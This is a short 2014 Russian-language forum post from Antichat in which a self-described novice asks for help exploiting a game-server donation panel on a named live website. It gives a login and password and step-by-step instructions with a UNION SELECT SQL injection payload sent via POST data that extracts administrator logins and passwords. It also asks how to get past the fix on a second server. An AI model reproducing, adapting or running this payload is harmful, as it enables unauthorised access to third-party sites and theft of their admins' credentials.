ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Помогите с SQL через POST data (https://forum.antichat.xyz/showthread.php?t=408332)

n1k3 13.03.2014 14:55

Привет! Нужно воспроизвести старую уязвимость донат панели только не через мазилу с хакбаром , показать другой способ аналогичный этому только в другом браузере,ну или подскажите что еще можно вытащить с этой панели)

P.S. Есть такая же панель на другом сервере,но с мозилы не могу залогинится на нее, админ поставил фикс какой то,я в этом очень плохо разбираюсь,прошу у вас помощи желательно по подробнее,я в этом нуб!

Буду очень признателен за помощь!

ПАНЕЛЬ для теста

акк:painel пасс:painel

Опишу баг еще раз т.к. его удалили с форума.(для мазилы через хакбар)

1. Логинимся в донат панель

2. В верхнюю строчку Хакбара вставляем следущее : http://l2kof.net/donate/painel.php?page=comprar_item

3. В Пост Дата вставляем :items[] =99999 union select 1,2,concat_ws(0x3a,login,password),4,5,6,7,0x69746 56D73 from accounts where access_level=1#

4. В столбце Qtd получаем акк и пасс админа


Время: 14:15